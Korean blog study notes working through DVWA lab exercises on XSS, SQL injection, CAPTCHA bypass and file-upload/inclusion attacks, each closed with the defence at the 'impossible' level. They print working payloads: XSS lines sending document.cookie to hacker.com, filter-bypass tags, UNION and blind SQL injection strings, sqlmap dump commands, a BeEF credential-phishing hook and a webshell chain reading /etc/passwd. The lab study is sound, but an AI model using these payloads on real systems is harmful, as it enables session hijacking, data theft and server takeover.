크로스사이트스크립팅(XSS) 공격

 

자바 스크립트

 

웹 애플리케이션에서 사용되는 언어

 

HTML: 텍스트, 이미지 등 정적인 내용을 표시

자바스크립트 : 동적인 기능 구현(ex. 마우스를 가져가면 메뉴의 색깔이 변함)

 

<script>스크립트 코드</script>와 같이 구현

<script>document.location='http://hacker.com/cookie?' +

document.cookie</script>

<script src=http://hacker.com/bad.js></script>

 

XSS공격

 

클라이언트 쪽의 웹브라우저를 공격하는 기법

<script>와 같은 입력값이 그대로 웹페이지에 표시되면 위험

자바스크립트를 이용해 세션쿠키를 탈취

 

Reflected XSS 공격

이메일로 먼저 피싱을 함 이링크에는 세션쿠키를 빼내는 스크립트를 담아둠

스크립트코드가 삽입된 요청 전송

그러면 스크립트가 반사가 되면서 스크립트 실행이되고 세션쿠키를 해커에게 주고 해커는 세션쿠키를 이용하여 사용자 권한으로 접속

 

Stored XSS공격

해커가 방명록같은 곳에 스크립트를 삽입

이후 아무것도 모르는 사용자가 방명록을 작성하면서 해커가 작성한 글을 보게 됨

이때 스크립트 코드가 사용자에게 전달되고 웹브라우저는 자동으로 실행

이후 세션쿠키를 해커에게 주고 해커는 그 세션쿠키로 사용자 권한으로 접속

 

실습으로 들어가서

 

이름을 입력하라고 하는데 아무거나 입력하면 Hello 이름 이런식으로 나온다

 

XSS에 취약한지 알고싶다면

 

<script>alert(1)</script> 이런식으로 입력해본다

 

취약점이 있다면 1이 출력이 된다

 

<script>alert(document.cookie)</script> 하면 쿠키값을 보여준다

 

<script>document.location='http://127.0.0.1/

cookie?' + document.cookie</script>

 

이런식으로 사용할 수 있다

 

다시 돌아와서 이름에 alice라고 쳐본다

 

그러면 위 주소창에서 name=alice 이런식으로 뜬다

 

name뒤의 이름부분에 스크립트를 집어넣어서 개인정보를 탈취할 수 있다

 

Stored XSS을 보자

 

여기는 방명록이 있는데 길이 제한이 있다

 

textarea를 눌러 inspect element를 해주자

 

max length를 50이 아닌 한 500정도로 늘려주고

 

<script>document.location='http://127.0.0.1/

cookie?' + document.cookie</script> 을 입력해보자

 

바로 쿠키가 해커호스트에게 넘어가게된다

 

BeEF 프레임워크

 

로그인을 해주자 초기 아이디 비번은 beef

 

Hook을 이용하라고 하는데 Hook아래 Example의 스크립트코드를 복사해주고 dvwa에 붙혀넣어주자

 

그럼 beef 홈페이지에 갱신이 되고 여러가지 정보들이 나온다

 

커맨드 메뉴로 간 뒤에 pretty theft로 가서 excute해주면

 

dvwa에서 페이스북 로그인 창이 뜨게 되는데 그곳에 입력한 정보를 가져올 수 있게 된다

 

medium 단계

 

<script>alert(1)</script> 를 입력하니 스크립트는 실행이 안되고 문자만 출력이 된다

 

소스를 보니 str_replace 로 <script>를 지워주는 것을 볼 수 있었다

 

하지만 이것의 허점은 소문자만 지워주는 것이다

 

대문자로 해주니 스크립트가 실행이 된다

 

<scr<script>ipt>alert(1)</script> 이런 형태 또한 가능하다

 

high 단계

 

위의 방법이 먹히지 않는다

 

소스코드를 보자

 

소스코드를 보니 정규식을 이용해서 대소문자를 구분하고 각 문자 사이의 시도되는 우회공격도 방어하고 있다

 

이 방법은 단순히 스크립트 공격만 먹히지 않으므로 html 태그를 이용하는 방법을 사용해 볼 수 있다

 

<img src=x onerror=window.location.assign("http://127.0.0.1/hacked.php")>

 

<svg onload=window.location.assign("http://127.0.0.1/hacked.php")>

 

주소창만 바꾼다면 그 주소로 원하는 값을 얻어낼 수 있을 것이다

 

impossible 단계

 

소스를 보면 htmlspecialchars를 사용하고 있다

 

php document를 보면 &, ", ', <, > 가 &lt &gt 이런식으로 변하는 것을 볼 수 있는데

 

이것은 특수문자를 화면으로 그대로 출력하되 그 기능들은 못이용하게 하는 것이다

 

 

 

'Hacking > 웹 해킹' 카테고리의 다른 글

공부(11)  (0) 2021.09.18
공부(9)  (0) 2021.09.17
공부(8)  (0) 2021.09.17
공부(7)  (0) 2021.09.16
공부(6)  (0) 2021.09.16

SQL 인젝션 공격

 

데이터베이스에 전송되는 SQL 쿼리문을 조작하여,

데이터를 변조하거나 허가되지 않은 정보에 접근

 

예전부터 최근까지 꾸준하게 사용

 

ID=1' or '1'='1

 

SELECT name, email FROM users WHERE ID = '1' or '1'='1'

 

ID = 1' union select name,pw from users# (#뒤에 있는 것들은 주석처리)

 

SELECT name, email FROM users WHERE ID='1' union select name,pw from users#'

 

이렇게 되면 모든 사용자의 이름과 비밀번호를 리턴하게 된다

 

SQL 인젝션에 취악한지 어떻게 알아보냐면 작은따옴표(')를 넣어보면 된다 -> SQL에러가 나오게 된다

 

왜 에러가 나오게 되느냐 하면

 

user_id = '$id'; 로 되어있는데 작음따옴표가 2개로 열고 닫고가 완료되었는데 추가로 들어가서 3개가 되므로 에러가 출력된다

 

1' or '1' = '1 을 입력하면 모든 정보가 출력이 된다

 

즉 조건문을 항상 참이 되게 만들어줌으로써 id가 1이라는 것과 상관없이 모든 정보가 출력되게 했다

 

칼럼갯수 알아내기

 

1' union select 1 # 을 입력했더니 에러가 발생한다

 

1' union select 1,1 # 을 쳤더니 합집합의 결과로 나온다

 

이전 select 칼럼이 2개가 사용되었음을 알 수 있다

 

이것 말고도 ORDER BY로 알아낼 수 있다

 

1' order by 1 # 하면 결과값이 출력된다

 

1' order by 2 # 이런식으로 1씩 증가시켜 에러나올때까지 카운트해주면 칼럼이 몇개인지 알 수 있다

 

union으로 갯수를 찾을 때에는 정확한 값을 입력해야 알 수 있지만

 

orderby는 입력한 값보다 큰지 작은지 알 수 있기 때문에 더 빠르게 찾아낼 수 있다

 

데이터베이스 명 조회하려면

 

1' union select schema_name,1 from information_schema.schemata #

 

하면 결과로 모든 데이터베이스 이름들이 출력된다

 

dvwa 데이터베이스의 테이블 명 조회는

 

1' union select table_schema, table_name from information_schema.tables where table_schema = 'dvwa' #

 

users 테이블 칼럼 조회는

 

1' union select table_name, column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users'#

 

이제 여기서 패스워드 값을 users 에서 가져오려면

 

1' union select user,password from users#

 

하면 first name 에는 아이디가 surname에 비밀번호가 출력된다

 

그런데 패스워드가 평문이 아닌 해시값의 형태로 저장되어있다

 

하지만 여기서는 보안에 취약한 MD5라는 해시값을 사용한다

 

이 해시값을 구글에 검색하면 해석된 값을 얻을 수 있다

 

블라인드 SQL 인젝션

 

SQL Injection(Blind)는 단순히 그 아이디가 존재하는지 안하는지만 알려준다

 

'을 넣어줘도 특별한 에러가 나오진 않는다

 

1' AND 1 = 1# 하면 존재한다고 나오고

 

1' AND 1 = 2# 하면 찾을 수 없다고 나온다

 

즉 이것은

 

SELECT user FROM users WHERE id ='1' AND 1 = 1# 이므로 참인 경우라 존재한다고 나온것이고

 

SELECT user FROM users WHERE id ='1' AND 2 = 1# 인 경우는 거짓이라 찾을 수 없다고 나온 것이다

 

1' AND sleep(5)# 와 같이 사용할 수 있다 1이 있다면 5초후 출력될 것이고 없다면 바로 출력될 것이다

 

SQLMAP 프로그램

 

Applications의 web 에서 SQLMAP을 실행한다

 

-u는 공격할 url 주소를 설정해주어야한다

 

1을 치고 실행한 그 주소값을 가져와준다

 

그리고 f12를 눌러 콘솔에 document.cookie 를 쳐서 쿠키값도 알아낸다

 

sqlmap -u "주소" --cookie="쿠키" 

 

하면 id 파라미터 값으로 AND boolean-based blind 공격이 가능할 것 같다고 메세지가 온다

 

그리고 백엔드에 사용되는 DB가 MySQL이라는 것도 알아냈다

 

최종적으로 AND boolean-based blind 공격과 AND/OR time-based blind 공격이 가능하다고 알려주고 있다

 

웹서버 개발 버전 등등 정보들을 알려준다

 

sqlmap -u "주소" --cookie="쿠키" --current-db 하면 db이름을 알려주고

 

sqlmap -u "주소" --cookie="쿠키" -D dvwa --table 하면 table들을 알려준다

 

sqlmap -u "주소" --cookie="쿠키" -D dvwa -T Users --dump 를 하게 되면 Users의 정보들이 모두 나오게 된다

 

medium 단계에서는 폼형태가 아니라 정해진 값을 선택되게 되어있다

 

버프스위트 인터셉트를 키도록 한다

 

인터셉트에서 1' or '1'=1 을 해줘서 포워드를 해주었더니 에러가 나온다

 

뷰소스로 소스를 보니 이번에는 id 에 작은따옴표가 없고 그냥 id 라고 되어있다

 

1 or 1=1 해주고 포워드 해주면 다른정보들도 다 같이 나오게 된다

 

union도 되는지 보자

 

1 union select user,password from users# 

 

해주고 포워드 해주니 유저아이디와 패스워드가 잘 출력이 된다

 

high단계를 보면

 

링크가 하나있고 클릭하면 입력하는 폼 하나가 나오는데 이 폼에 검색을 하면 원래 페이지에 표시되는 방식이다

 

소스를 보니 LIMIT키워드로 출력되는 레코드 수를 조절하고 있다

 

무조건 하나만 출력되게 되어있다

 

하지만 이것 역시 SQL인젝션 방어용도로는 아무 의미 없다

 

id 뒤에 주석처리 해버리면 되기 때문이다

 

1' or '1' = 1 # 해주면 값들이 출력됨을 볼 수 있다

 

1' union select user,password from users# 즉 union도 정상적으로 출력이 된다

 

impossible 단계를 보자

 

먼저 하는게 id값을 받아오고 그 id값이 숫자인지 확인하는 것

 

입력값을 확실히 검증해주는 것

 

필요한 데이터 형식을 정확히 검사해주는 것이 중요 (숫자가 맞는지, 문자가 맞는지)

 

low ~ high 단계는 동적 쿼리이고 impossible 단계는 파라미터 쿼리이다

 

파라미터 쿼리는 미리 쿼리문의 형태를 작성해 두게 된다

 

id부분만 bindparam으로 지정해주는데 이렇게 하면 DB는 어떤게 코드이고 어떤게 데이터인지 정확히 알 수 있게 된다

 

 

'Hacking > 웹 해킹' 카테고리의 다른 글

공부(11)  (0) 2021.09.18
공부(10)  (0) 2021.09.17
공부(8)  (0) 2021.09.17
공부(7)  (0) 2021.09.16
공부(6)  (0) 2021.09.16

CAPTHCA공격

 

비밀번호 변경 시 2단계를 거침

1. CAPTCHA 확인

2. 확인 완료 비밀번호 변경

 

여기서 제대로 안되어있으면 해커가 확인한 것처럼 꾸미고 2만 할 수 있다

 

패스워드를 normal normal 해주고 버프스위트로 보게되면

 

step 은 1이고 password_new값과 password_conf 값 그리고 랜덤으로 정해지는 g_recaptcha-response값이 나온다

 

한번더 change를 눌러주니 step이 2로 변하게 된다

 

여기서 첫번째 요청은 생략하고 두번째 요청만 보내면 어떻게 될 것인가

 

버프스위트의 리피터 기능을 이용하면 된다

 

2번째 요청을 리피터로 보내주고 리피터에서 패스워드만 변경해주고 Go를 해주면 변경된다

 

확인을 위해 Response의 Render를 봐보면 제대로 된 것을 볼 수 있다

 

medium 단계를 봐보자

 

passed_captcha가 추가되었다 captcha를 제대로 입력했는지 확인하려고 한것같은데

 

똑같이 리피터로 보내고 변경하고 랜더를 확인해보면 정상적으로 변경되었음을 알 수 있다

 

high 단계

 

이번에는 user_token이 추가되었고 두단계가 아닌 한단계로 이루어져있다

 

소스코드를 봐보자 if 문 resp 쪽을 보면 || or연산이 있다 ( && 모든 조건이 참일 때 참, || 둘 중 하나만 참이여도 참)

 

즉, captcha를 거치지 않고

 

g-recaptcha-response 부분이 hidd3n_valu3 이고

 

User-Agent의 헤더부분이 reCAPTCHA가 된다면 참이된다

 

리피터에서 실습을 해보자

 

User-Agent : 부분 내용을 지워주고 reCAPTCHA 적어주고

 

g-recaptcha-response=hidd3n_valu3 을 적어준다

 

그리고 변경해주면 변경됨을 볼 수 있다

 

impossible 단계를 보자

 

디버깅된 코드가 없어졌다

 

csrf 실습과 마찬가지로 현재 패스워드 입력란이 생기게 하여 보안을 강화하였다

'Hacking > 웹 해킹' 카테고리의 다른 글

공부(10)  (0) 2021.09.17
공부(9)  (0) 2021.09.17
공부(7)  (0) 2021.09.16
공부(6)  (0) 2021.09.16
공부(5)  (0) 2021.09.16

파일 업로드 공격

 

파일이 업로드 되는 페이지(게시판, SNS 등)에 악성 파일(웹쉘)을 업로드

 

웹쉘 php 파일을 업로드를 하게 되면

 

../../hackable/uploads/webshell.php succesfully uploaded!

 

라고 뜬다

 

주소창을 보면 현재

 

http://localhost/dvwa/vulnerabilities/upload/#

 

두번의 상위 디렉토리이므로

 

http://localhost/dvwa/hackable/uploads/webshell.php

 

를 치고 들어가면

 

웹쉘 커맨드가 나온다

 

medium 단계에서는

 

jpeg나 png 확장자만 가능하다고 하다

 

버프스위트를 키고 인터셉트를 킨 다음 업로드를 누르면

 

보내는 것에 대한 정보가 나온다

 

그 중 Content-Type 을 조작해볼거다

 

image/jpeg 라고 해주고 forward 로 보내주면

 

성공적으로 됨을 볼 수 있다

 

high 단계는 실제 파일 확장자가 jpg 인지 jpeg 인지 png 인지 확인하게 된다

 

버프스위트를 키고 인터셉트 킨 후 똑같이 업로드를 한다

 

파일명을 webshell.php 되어있는 것 뒤에 .jpg를 붙히면 된다

 

webshell.php.jpg 이렇게 말이다

 

그리고 뒤에 GIF89a를 적어준다

 

이 때 GIF89a 는 GIF파일의 표준의 값으로 이것을 파일 앞에 입력하게 되면 이미지파일처럼 해서 속일 수 있다

 

하지만 이렇게 해서 얻은 url을 치면 결국은 jpg파일이기 때문에 실행이 안된다

 

만약 파일인클루젼 공격이 가능한 경우에 이걸 조합하면 가능하다

 

파일이 jpg파일이더라도 결국 웹쉘코드이기 때문에 파일에 삽입된 코드를 인클루드해서 할 수 있다

 

먼저 File Inclusion을 들어가서 주소창을 본다

 

high 단계에서는 file 을 적어주어야 우회가 되기 때문에 file로 시작한다

 

그리고 아까 경로를 보면 ../../hackable/uploads/webshell.php.jpg 이기 때문에

 

http://localhost/dvwa/vulnerabilities/fi/?page=file/../../../hackable/uploads/webshell.php.jpg

 

라고 치면 좌측상단에 쉘이 뜨는걸 볼 수 있다

 

하지만 이 쉘 폼을 이용하면 오류가 뜨게된다

 

그래서 결국 cmd파라미터를 사용하기 때문에

 

바로 주소 뒤에 &cmd= 로 넘겨주어야 한다

 

즉 http://localhost/dvwa/vulnerabilities/fi/?page=file/../../../hackable/uploads/webshell.php.jpg&cmd=cat /etc/passwd

 

하게되면 정보를 출력하게 된다

 

이것은 3가지 공격방법이 섞인 공격이다 (파일업로드 공격 + 파일인클루젼 공격 + 패스트래버설 공격)

 

impossible 단계에서는

 

이미지 파일이 맞는지 확인한 다음에 업로드 된 내용으로 이미지 파일을 다시 생성하고 있다

 

이 방법 말고도 업로드 파일 이름을 랜덤으로 변경해서 해커가 마음대로 접근하지 못하게 하는 방법도 있다

 

또 다른 방법은 업로드되는 서버를 웹 애플리케이션 서버와 분리하는 것

'Hacking > 웹 해킹' 카테고리의 다른 글

공부(9)  (0) 2021.09.17
공부(8)  (0) 2021.09.17
공부(6)  (0) 2021.09.16
공부(5)  (0) 2021.09.16
공부(4)  (0) 2021.09.15

+ Recent posts